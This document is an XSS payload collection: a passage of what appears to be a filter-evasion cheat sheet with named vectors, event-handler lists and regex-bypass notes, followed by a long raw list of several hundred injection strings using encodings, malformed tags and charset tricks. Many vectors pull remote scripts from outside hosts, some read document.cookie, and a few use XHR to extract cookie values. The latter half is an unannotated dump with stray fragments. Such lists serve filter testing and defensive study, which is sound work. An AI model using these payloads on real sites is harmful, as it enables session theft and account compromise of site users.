<code><IFRAME SRC=http://ha.ckers.org/scriptlet.html <</code>
<desc>This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't</desc>
<name>Extraneous Open Brackets</name>
<code><<SCRIPT>alert("XSS");//<</SCRIPT></code>
<desc>(Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error.</desc>
<name>Malformed IMG Tags</name>
<code><IMG """><SCRIPT>alert("XSS")</SCRIPT>"></code>
<desc>Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc>
<name>No Quotes/Semicolons</name>
<code><SCRIPT>a=/XSS/
alert(a.source)</SCRIPT></code>
<desc>No single quotes or double quotes or semicolons.</desc>
<name>Event Handlers List 1</name>
<code>See Below</code>
<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
-FSCommand() (execute from within an embedded Flash object)
-onAbort() (when user aborts the loading of an image)
-onActivate() (when object is set as the active element)
-onAfterPrint() (activates after user prints or previews print job)
-onAfterUpdate() (activates on data object after updating data in the source object)
-onBeforeActivate() (fires before the object is set as the active element)
-onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function)
-onBeforeCut() (attacker executes the attack string right before a selection is cut)
-onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
-onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
-onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
-onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function)
-onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
-onBegin() (fires immediately when the element's timeline begins)
-onBlur() (in the case where another popup is loaded and window loses focus)
-onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
-onCellChange() (fires when data changes in the data provider)
-onChange() (fires when select, text, or TEXTAREA field loses focus and its value has been modified)
-onClick() (fires when someone clicks on a form)
-onContextMenu() (user would need to right click on attack area)
-onControlSelect() (fires when the user is about to make a control selection of the object)
-onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
-onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
-onDataAvailible() (user would need to change data in an element, or attacker could perform the same function)
-onDataSetChanged() (fires when the data set exposed by a data source object changes)
-onDataSetComplete() (fires to indicate that all data is available from the data source object)
-onDblClick() (fires when user double-clicks a form element or a link)
-onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
-onDrag() (requires that the user drags an object)
-onDragEnd() (requires that the user drags an object)
-onDragLeave() (requires that the user drags an object off a valid location)
-onDragEnter() (requires that the user drags an object into a valid location)
-onDragOver() (requires that the user drags an object into a valid location)
-onDragDrop() (user drops an object (e.g. file) onto the browser window)
-onDrop() (fires when user drops an object (e.g. file) onto the browser window)
</desc>
<label>Event Handlers</label>
<name>Event Handlers List 2</name>
<desc>-onEnd() (fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like <P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')">)
-onError() (loading of a document or image causes an error)
-onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
-onFilterChange() (fires when a visual filter completes state change)
-onFinish() (attacker could create the exploit when marquee is finished looping)
-onFocus() (attacker executes the attack string when the window gets focus)
-onFocusIn() (attacker executes the attack string when window gets focus)
-onFocusOut() (attacker executes the attack string when window loses focus)
-onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
-onKeyDown() (fires when user depresses a key)
-onKeyPress() (fires when user presses or holds down a key)
-onKeyUp() (fires when user releases a key)
-onLayoutComplete() (user would have to print or print preview)
-onLoad() (attacker executes the attack string after the window loads)
-onLoseCapture() (can be exploited by the releaseCapture() method)
-onMediaComplete() (when a streaming media file is used, this event could fire before the file starts playing)
-onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
-onMouseDown() (the attacker would need to get the user to click on an image)
-onMouseEnter() (fires when cursor moves over an object or area)
-onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
-onMouseMove() (the attacker would need to get the user to mouse over an image or table)
-onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
-onMouseOver() (fires when cursor moves over an object or area)
-onMouseUp() (the attacker would need to get the user to click on an image)
-onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
-onMove() (user or attacker would move the page)
-onMoveEnd() (user or attacker would move the page)
-onMoveStart() (user or attacker would move the page)
-onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
-onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
-onPause() (fires on every element that is active when the timeline pauses, including the body element)
-onProgress() (attacker would use this as a flash movie was loading)
-onPropertyChange() (user or attacker would need to change an element property)
-onReadyStateChange() (user or attacker would need to change an element property)
<name>Event Handlers List 3</name>
<desc>-onRepeat() (fires once for each repetition of the timeline, excluding the first full cycle)
-onReset() (fires when user or attacker resets a form)
-onResize() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-onResizeEnd() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-onResizeStart() (user would resize the window; attacker could auto initialize with something like: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
-onResume() (fires on every element that becomes active when the timeline resumes, including the body element)
-onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
-onRowEnter() (user or attacker would need to change a row in a data source)
-onRowExit() (user or attacker would need to change a row in a data source)
-onRowsDelete() (user or attacker would need to delete a row in a data source)
-onRowsInserted() (user or attacker would need to insert a row in a data source)
-onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
-onSeek() (fires when the timeline is set to play in any direction other than forward)
-onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
-onStart() (fires at the beginning of each marquee loop)
-onStop() (user would need to press the stop button or leave the webpage)
-onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
-onSubmit() (requires attacker or user submits a form)
-onTimeError() (fires when user or attacker sets a time property, such as "dur", to an invalid value)
-onTrackChange() (fires when user or attacker changes track in a playList)
-onUnload() (fires when the user clicks any link or presses the back button or attacker forces a click)
-onURLFlip() (fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
-seekSegmentTime() (locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
<name>Evade Regex Filter 1</name>
<code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter:
/<script[^>]+src/i</desc>
<label>XSS w/HTML Quote Encapsulation</label>
<name>Evade Regex Filter 2</name>
<code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter:
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
(this is an important one, because I've seen this regex in the wild)</desc>
<name>Evade Regex Filter 3</name>
<code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Another XSS to evade this regex filter:
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc>
<name>Evade Regex Filter 4</name>
<code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Yet another XSS to evade the same filter:
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)</desc>
<name>Evade Regex Filter 5</name>
<code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>And one last XSS attack (using grave accents) to evade this regex:
<name>Filter Evasion 1</name>
<code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc>
<name>Filter Evasion 2</name>
<code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
<desc>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc>
<name>IP Encoding</name>
<code><A HREF="http://66.102.7.147/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
<label>URL Obfuscation</label>
<name>URL Encoding</name>
<code><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></code>
<name>Dword Encoding</name>
<code><A HREF="http://1113982867/">XSS</A></code>
<name>Hex Encoding</name>
<code><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.</desc>
<name>Octal Encoding</name>
<code><A HREF="http://0102.0146.0007.00000223/">XSS</A></code>
Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...</desc>
<name>Mixed Encoding</name>
<code><A HREF="h
tt	p://6&#09;6.000146.0x7.147/">XSS</A></code>
The tabs and newlines only work if this is encapsulated with quotes.</desc>
<name>Protocol Resolution Bypass</name>
<code><A HREF="//www.google.com/">XSS</A></code>
Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc>
<name>Firefox Lookups 1</name>
<code><A HREF="//google">XSS</A></code>
<desc>Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something like the following "keyword:XSS+RSnake"</desc>
<name>Firefox Lookups 2</name>
<code><A HREF="http://ha.ckers.org@google">XSS</A></code>
<desc>This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.</desc>
<name>Firefox Lookups 3</name>
<code><A HREF="http://google:ha.ckers.org">XSS</A></code>
<desc>This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google").</desc>
<name>Removing Cnames</name>
<code><A HREF="http://google.com/">XSS</A></code>
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.</desc>
<name>Extra dot for Absolute DNS</name>
<code><A HREF="http://www.google.com./">XSS</A></code>
<name>JavaScript Link Location</name>
<code><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></code>
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed)
JavaScript link location</desc>
<name>Content Replace</name>
<code><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A></code>
<desc>Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:".</desc>
onload = () => {
url = new URL(location.href);
payload.innerHTML = url.searchParams.get('dom_xss');
}GIF89a/*0;*/=0;
"]<img src=1 onerror=alert(1)>
<input/type="image"/value=""`<span/onmouseover='confirm(1)'>X`</span>
<svg[U+000B]onload=alert(1)>
<iframe/name="javascript:confirm(1);"onload="while(1){eval(name);}">
<cite><a href="javascript:confirm(1);">XSS cited!</a></cite>
<svg/onload=window.onerror=alert;throw/XSS/;//
<video src="x" onloadstart="alert(1)">
<a href="javascript:data:alert(1)">click</a>
<a href="javascript://%0d(0===0&&1==1)%0c?alert(1):confirm(2)">click</a>
<div style='x:anytext/**/xxxx/**/n(alert(1)) ("\"))))))expressio\")'>aa</div>
<%%%>
<meta charset=iso-2022-jp><%1B(Jd%1B(Ji%1B(Jv><i%1B(Jm%1B(Jg s%1B(Jr%1B(Jc%1B(J=%1B(Jx o%1B(Jn%1B(Jer%1B(Jr%1B(Jo%1B(Jr%1B(J=%1B(Ja%1B(Jl%1B(Je%1B(Jr%1B(Jt(1)//%1B(J<%1B(J/%1B(Jd%1B(Jiv%1B(J>%1B(J
<!-- Hello -- world > <SCRIPT>confirm(1)</SCRIPT> -->
<! XSS="><img src=xx:x onerror=confirm(1)//">
"; ||confirm('XSS') || "
"/> <img src='aaa' onerror=confirm(document.domain)>
/> <img src='aaa' onerror=confirm(document.domain)>
<!-- --!><input value="--><body/onload=`confirm(4)//`">
<!-- sample vector --> <img src=xx:xx *chr*onerror=logChr(*num*)> <a href=javascript*chr*:confirm(*num*)>*num*</a>
//|\\ <script //|\\ src='http://xss.cx/xss.js'> //|\\ </script //|\\
<
>
>
<
>
>
<
>
>
<
>
>
�</form><input type="date" onfocus="confirm(1)">
<
>
>
%2522%253E%253Csvg%2520onload%3D%2522confirm(7)%2522%253E
%253Cs%26%2399%3Bri%26%23112%3Bt%2520s%26%23114%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%253E
%253Cs%26%23x63%3Bri%26%23x70%3Bt%2520s%26%23x72%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%253E
%253Cscript%2520src%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fscript%253E
"%25prompt(9)%25"
"%26%26prompt(9)%26%26"
%26lt%3bscript>
"%26prompt(9)%26"
<3 </3
%3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cs%26%2399%3Bri%26%23112%3Bt%2520s%26%23114%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
%3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cs%26%23x63%3Bri%26%23x70%3Bt%2520s%26%23x72%3Bc%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
%3Cdiv%20style%3Dposition%3Afixed%3Btop%3A0px%3Bleft%3A0px%3Bbackground%2Dcolor%3A%23FFFFFF%3Bwidth%3A100%25%3Bheight%3A100%25%3Btext%2Dalign%3Acenter%3Bz%2Dindex%3A11%3B%20%3E%3Cbr%3E%3Cbr%3E%3Cbr%3E%3Ca%20href%3D%3Fxss%3D%253Cscript%2520src%253D%252F%252Fxy%252Ehn%252Fa%252Ejs%2520%253E%253C%252Fscript%253E%3EThe%20requested%20page%20has%20moved%20here%3C%2Fa%3E%3C%2Fdiv%3E
%3Cs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%20s%26%23114%3B%26%2399%3B%3Dht%26%23116%3Bp%3A%2F%2Fx%26%23116%3Bxs%26%2399%3B.cx%2Fxss%2Ejs%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E
%3Cs%26%2399%3Bri%26%23112%3Bt%20s%26%23114%3Bc%3D%2F%2Fxy%2Ehn%2Fa%2Ejs%20%3E%3C%2Fs%26%2399%3B%26%23114%3Bi%26%23112%3Bt%3E
%3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3D%2F%2Fxy%2Ehn%2Fa%2Ejs%20%3E%3C%2Fs%26%23x63%3B%26%23x72%3Bi%26%23x70%3Bt%3E
%3Cs%26%23x63%3Bri%26%23x70%3Bt%20s%26%23x72%3Bc%3Dhttp%3A%2F%2Fxs%26%23s63%3B.cx%2Fxss%2Ejs%3E%3C%2Fs%26%23x63%3Bri%26%23x70%3Bt%3E
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{confirm%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
%3E
[4076*A]<img src="x" alt="[0x8F]" test=" onerror=confirm(1)//">
<
>
>
<A """><IMG SRC="javascript:confirm(1)">
"'`>ABC<div style="font-family:'foo'*chr*x:expression(log(*num*));/*';">DEF
"'`>ABC<div style="font-family:'foo*chr*;x:expression(log(*num*));/*';">DEF
<A/HREF="javascript:confirm(1)">
<B <SCRIPT>confirm(1)</SCRIPT>>
<BASE HREF="javascript:confirm('XSS');//">
<BGSOUND SRC="javascript:confirm('XSS');">
<BODY BACKGROUND="javascript:confirm('XSS')">
<BODY ONLOAD=confirm('XSS')>
<BR SIZE="&{confirm('XSS')}">
<B="<SCRIPT>confirm(1)</SCRIPT>">
<DIV STYLE="background-image: url(javascript:confirm(5))">
<DIV STYLE="background-image: url(javascript:confirm(5))">
<DIV STYLE="width: expression(confirm(5));">
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80confirm(1)%E3%B0%80/script%E3%B8%80
<FRAMESET><FRAME RC=""+"javascript:confirm(5);"></FRAMESET>
<FRAMESET><FRAME SRC="javascript:confirm(5);"></FRAMESET>
>
>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-confirm(5);+ADw-/SCRIPT+AD4-
<IFRAME SRC="javascript:confirm(5);"></IFRAME>
<IFRAME%20src='javascript:confirm%26%23x25;281)'>
<![><IMG ALT="]><SCRIPT>confirm(1)</SCRIPT>">
<IMG ALT="><SCRIPT>confirm(1)</SCRIPT>"(EOF)
<IMG DYNSRC="javascript:confirm(document.location)">
<IMG LOWSRC="javascript:confirm(document.location)">
<IMG SRC="  javascript:confirm(document.location);">
<IMG SRC=JaVaScRiPt:confirm(document.location)>
<IMG SRC=JaVaScRiPt:confirm("XSS<WBR>")>
<IMG SRC=JaVaScRiPt:prompt(document.location)>
<IMG SRC="jav ascript:confirm(document.location);">
<IMG SRC=java%00script:confirm(document.location)>
<IMG SRC=`javascript:confirm(1)`>
<IMG SRC=javascript:confirm(String.fromCharCode(88,83,83))>
<IMG SRC=`javascript:confirm(document.cookie)`>
<IMG SRC="javascript:confirm(document.location)"
<IMG SRC="javascript:confirm(document.location);">
<IMG SRC=javascript:confirm(document.location)>
<IMG SRC=javascript:confirm("XSS")>
<IMG SRC=javascript:prompt(document.location)>
<IMG SRC="jav	ascript:confirm(<WBR>document.location);">
<IMG SRC="jav	ascript:confirm(document.location);">
<IMG SRC="jav
ascript:confirm(<WBR>document.location);">
<IMG SRC="jav
ascript:confirm(document.location);">
<IMG SRC="jav
ascript:confirm(<WBR>document.location);">
<IMG SRC="jav
ascript:confirm(document.location);">
<IMG SRC='vbscript:msgbox(document.location)'>
<IMG STYLE="xss:expr/*XSS*/ession(confirm(document.location))">
<IMG onmouseover =confirm(1)>
<INPUT TYPE="IMAGE" SRC="javascript:confirm(document.location);">
<LINK REL="stylesheet" HREF="http://xss.cx/xss.css">
<LINK REL="stylesheet" HREF="javascript:confirm(document.location);">
<META HTTP-EQUIV="Link" Content="<http://xss.cx/xss.css>; REL=stylesheet">
<META HTTP-EQUIV="Link" Content="<javascript:confirm(document.location)>; REL=stylesheet">
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>confirm(document.location)</SCRIPT>">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:confirm(document.location);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:confirm(document.location);">
<OBJECT TYPE="text/x-scriptlet" DATA="http://xss.cx/scriptlet.html"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:confirm(document.location)></OBJECT>
PHNjcmlwdD5hbGVydCgnWFNTIScpPC9zY3JpcHQ+
<S[0x00]CRIPT>confirm(1)</S[0x00]CRIPT>
<SCR%00IPT>confirm(document.location)</SCR%00IPT>
<SCRIPT SRC="http://xss.cx/xss.jpg"></SCRIPT>
<SCRIPT SRC=http://xss.cx/xss.js?<B>
<SCRIPT SRC=http://xss.cx/xss.js></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.cx/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.cx/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="http://xss.cx/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://xss.cx/xss.js"></SCRIPT>
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{confirm(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
</SCRIPT>">'><SCRIPT>prompt(String.fromCharCode(88,83,83))</SCRIPT>
<SCRIPT/XSS SRC="http://xss.cx/xss.js"></SCRIPT>
<SCRIPT>a=document.cookie
<SCRIPT>confirm(document.location);</SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.cx/xss.js"></SCRIPT>
<STYLE TYPE="text/javascript">confirm(document.location);</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:confirm(document.location)")}</STYLE>
<STYLE>.XSS{background-image:url("javascript:confirm(document.location)");}</STYLE><A CLASS=XSS></A>
<STYLE>@import'http://xss.cx/xss.css';</STYLE>
"><STYLE>@import"javascript:confirm(document.location)";</STYLE>
<STYLE>@im\port'\ja\vasc\ript:confirm(document.location)';</STYLE>
<TABLE BACKGROUND="javascript:confirm(document.location)">
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
<a data-remote=true data-method=delete href=/delete_account>CLICK</a>
<a href=````>
<a href="#" onclick="confirm(' ');alert(2 ')">name</a>
<a href='#' onmouseover ="javascript:$('a').html(5)">a link</a>
<a href="// ͥ.ws">CLICK
<a href=[0x0b]" onclick=confirm(1)//">click</a>
<a href="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41">Clickhere</a>
<a href=``calc``>
<a href="data:application/x-x509-user-cert;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">click</a>
<a href="data:text/html,%3cscript>confirm (1)</script>" >hello
<a href="data:text/html;base64,PHN2Zy萨9vbmxv晕YWQ<>>9YWxlc>>>nQoMSk+">click</a>
"/><a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
<a href="data:text/html,<script>eval(name)</script>" target="confirm(1)">click</a>
<a href=``explorer.exe``>
<a href="invalid:1" id=x name=y>test</a>
"/><a href="invalid:2" id=x name=y>test</a>
<a href="javascript:window['confirm'](1)">aa</a>
<a href="jAvAsCrIpT:confirm(1)">X</a>
<a href="javas	cri
pt:confirm(1)">test</a>
<a href="//javascript:99999999/1?/YOU_MUST_HIT_RETURN<svg onload=confirm(1)>/:0">Right click open in new tab</a>
"/><a href=javascript:confirm(document.cookie)>Click Here</a>
"><a href=javascript:confirm(document.cookie)>Click Here</a>
<a href=javascript:confirm(document.cookie)>Click-XSS</a>
"><a href="javascript:\u0061le%72t(1)"><button>
<a href="javascript:'hello'" rel="sidebar">x</a>
<a href="javascript:void(0)" onmouseover=
javascript:confirm(1)
>X</a>
<a href=javascript&.x3A;confirm&(x28;1&)x29;//=>clickme
a href="j&#x26#x41;vascript:confirm%252831337%2529">Hello</a>
<a href=``mspaint.exe``>
<a href=``notepad.exe``>
<a href=``shell:System``>
<a href='vbscript:"\"&confirm(1)''"'>
<a href="x:confirm(1)" id="test">click</a><script>eval(test+'')</script>
<a href=``xss.cx``>
<a id="x" href='http://adspecs.yahoo.com/adspecs.php' target="close(/*grabcookie(1)*/)">CLICK</a><script>onblur=function(){confirm(4)}x.click();</script>
<a rel="noreferrer" href="//xss.cx">click</a>
<a target=_blank href="data:text/html,<script>confirm(opener.document.body.innerHTML)</script>">clickme in Opera/FF</a>
<a target="x" href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{confirm%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
<a target="x" href="xssme?xss=<script>find('cookie'); var doc = getSelection().getRangeAt(0).startContainer.ownerDocument; console.log(doc); var xpe = new XPathEvaluator(); var nsResolver = xpe.createNSResolver(doc); var result = xpe.evaluate('//script/text()', doc, nsResolver, 0, null); confirm(result.iterateNext().data.match(/cookie = '(.*?)'/)[1])</script>
<a target="x" href="xssme?xss=<script>function x(window) { eval(location.hash.substr(1)) }</script><iframe src=%22javascript:parent.x(window);%22></iframe>#var xhr = new window.XMLHttpRequest();xhr.open('GET', '.', true);xhr.onload = function() { confirm(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();
<a"'%0A`= +%20>;test<a"'%0A`= +%20>?test<a"'%0A`= +%20>;#test<a"'%0A`= +%20>;
<a"'%0A`= +%20>;test<a"'%0A`= +%20>?test<a"'%0A`= +%20>;&x="><img src=x onerror=prompt(1);>#"><img src=x onerror=prompt(1);>test<a"'%0A`= +%20>;
about://xss.cx
<a/href[\0C]=ja	vasc	ript:confirm(1)>XXX</a>
<a/href=data:text/html;	base64	,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==>ClickMe</a>
<a$href="data:text/html,%style=""3cscript>confirm((1)</sstyle=""cript>" onerror=>hello
<a/href=java	script:confirm%28/XSS/%29>click</a>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6 C\x65\x72\x74\x28\x30\x29\x3B'>xss
<a [\x0B]onmosemove=confirm('\Done\')>
<a[\x0B] onmouseover =location=’jav\x41script\x3aconfirm\x28″ZDresearch”\x29′>ZDresearch
<body language=vbs onload=confirm-1
"><body language=vbs onload=window.location='http://xss.cx'>
<body onload='vbs:Set x=CreateObject("Msxml2.XMLHTTP"):x.open"GET",".":x.send:MsgBox(x.responseText)'>
<body scroll=confirm(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<body/onload=<!-->
confirm(1)>
"<body/onload=<!-->
confirm(1);prompt(/XSS/.source)>"
"\"><body/onload=<!-->
confirm(1);prompt(/XSS/.source)>",
<body/onload=<!-->
confirm(1);prompt(/XSS/.source)>
><body/onload=<!-->
confirm(1);prompt(/XSS/.source)>
<button autofocus onfocus=confirm(2)>
<button onclick="window.open('http://xss.cx/::Error138 ');">CLICKME
"<button>'><img src=x onerror=confirm(0);></button>"
<button>'><img src=x onerror=confirm(0);></button>
charset=utf-
'`"><*chr*script>log(*num*)</script>
<command onmouseover="javascript:confirm(0);">Save //
